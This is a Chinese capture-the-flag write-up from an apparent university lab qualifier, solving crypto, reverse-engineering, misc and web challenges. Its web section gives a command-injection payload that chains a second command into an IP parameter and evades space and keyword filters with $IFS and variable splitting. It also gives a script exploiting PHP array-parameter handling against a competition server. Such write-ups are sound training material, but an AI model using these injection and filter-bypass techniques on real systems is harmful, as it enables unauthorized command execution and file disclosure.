后浪杯CTF-WP

实验室内部举行的24小时考核赛

目录

        • CRYPTO
          • 1.CRYPTO-warmup
          • 2.佛曰
          • 3.babyRSA
          • 4.hard_crypto
          • 5.aes
        • REVERSE
          • 1.BabyRe
          • 2.HelloCTF
          • 3.insanity
        • MISC
          • 1.真签到
          • 2.宝可梦二代
        • WEB
          • 1.爆破
          • 2.command???
          • 写在最后的

CRYPTO

1.CRYPTO-warmup

题目:

R1EzREVNWlZHTVpVR05KWkdVWkRLUUpXR0VaRUNNWlFHWkFUR1FaV0lFM1RDTkpZR1JEREdPSlRJSVpUQ05TQ0dSQ0RPUkJUR01aRUlOU0VHTTNETVJSVElNMkRHTkNH

解码顺序:base64-base32-base16-base92

2.佛曰

题目:

夷殿般須兜我莊阿殿亦殿彌婆若菩須咒我阿斯祗如嘇眾殿般殿菩慧尊般尊囉斯色耨阿耨慧宣咒嚤菩降降即殿叻囉我劫吽殿降隸蜜諦薩夷宣色願空喼嚤嚤降諦婆殿尊嚩嚩叻斯婆宣殿慧殿陀斯殿嘚殿斯訶叻願訶菩阿修嚤殿喼是心莊願嚩咤彌慧心我所咤諸婆愍菩缽僧叻殿諸殿祗聞若般阿尊眾諦嘚蜜嚴即若慧蜜蜜喼吶莊劫般嘚嚤婆喃諦若殿如嚴囉殿阿我慧嘚蜜婆愍

佛曰就想到了与佛论禅,但是这个似乎是plus版本
工具:新约佛论禅l
先佛曰解码再熊曰就行

3.babyRSA

题目:

这道RSA是已知e、n、c解密

思路:分解n得到p和q,通过欧拉函数可以得到d,再通过e、n、c、d求得明文

首先转换进制

n = int(str1)
print("n=\n%s"%n)

可以得到进制转换后的e、n、c
分解n:分解大素数工具
直接脚本一跑就可以得到flag
后浪杯CTF-WP_第1张图片

4.hard_crypto

题目:

Life had a lot of things is futile, but we still want to experience. 
key:ADGNWQGM 
str:QRCISUTIZJCPWYWXGZIGMISGMZBXI 
提交flag格式:flag{xxxx}

看到这样的key和密文,可以想到多表代换,而期中最经典常用的就是维吉尼亚密码了
通过维吉尼亚密码我们可以得到这一串密文

QOWVWENWZGWCAIQLGWCTQSMUMWVKM

这个密文再使用凯撒密码解密(位移:8)就可以得到flag了

5.aes

题目:后浪杯CTF-WP_第2张图片
这道题我觉得实在是太坑了,因为AES如果有key,其实在线都可以解,但是一开始我不知道key在哪里,甚至觉得没有key,最后发现key原来就是文件名,最后直接在线解后浪杯CTF-WP_第3张图片
得到这一串url编码,可以转成一张二维码,扫码可以得到flag

REVERSE

1.BabyRe

放到IDA,汇编是16进制的
后浪杯CTF-WP_第4张图片

chr(int('66',16))+chr(int('6C',16))+chr(int('61',16))+chr(int('67',16))+chr(int('7b',16))+chr(int('52',16))+chr(int('65',16))+chr(int('5f',16))+chr(int('31',16))+chr(int('73',16))+chr(int('5f',16))+chr(int('53',16))+chr(int('30',16))+chr(int('5f',16))+chr(int('43',16))+chr(int('30',16))+chr(int('4f',16))+chr(int('4c',16))+chr(int('7d',16))

转十进制可以得到flag

2.HelloCTF

放入IDA
后浪杯CTF-WP_第5张图片
转ascii码
后浪杯CTF-WP_第6张图片

3.insanity

这道题主要是一个大佬的博客给了我灵感

strings insanity | grep "flag"

MISC

1.真签到

题目是一张动图,动图转化为jpg可以在最后一张得到一个二维码
后浪杯CTF-WP_第7张图片
扫码得flag

2.宝可梦二代

下载以后玩宝可梦游戏,会有提示去103公路看看
103公路的草丛就是flag,很有意思

WEB

1.爆破

value = $_REQUEST[‘value’];可以看出PHP将值保存到value中,即xxx.php?value=x

由if判断条件看出
SESSION[‘whoami’]应与value的第1第2个字符相同(即value=eaxxxx),并且进行MD5加密(但是数组类型不进行MD5加密)

最后的if得出需要经过11次才能显示flag

上脚本

import requests
url = "http://47.102.141.139:28079/?value[]=ea"
s = requests.session()
r = s.get(url)
for i in range(15):
    url = "http://47.102.141.139:28079//?value[]=" + r.content[0:2]
    r = s.get(url)
    print r.content

后浪杯CTF-WP_第8张图片

2.command???

看到command会想到命令执行

?ip=127.0.0.1|ls

后浪杯CTF-WP_第9张图片
可以看到flag.php,但是直接cat是不行的,空格和关于flag的都被过滤了

尝试将flag分开写(就不会匹配到)
同时覆盖a变量

Payload:?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

flag就在源码注释里
后浪杯CTF-WP_第10张图片

写在最后的

经过在实验室大半年的学习,我有幸能够成为一名正式成员,我真的非常感激。感激学长们对我的教导,让我成长的很快;感激实验室的每一位成员,和大家一起学习、一起喝奶茶我非常开心;也感激自己没有放弃,在学习过程中我有时候觉得好累啊,有时候也会很迷茫,但是还好都坚持下来了,继续努力吧!加油

你可能感兴趣的:(后浪杯CTF-WP)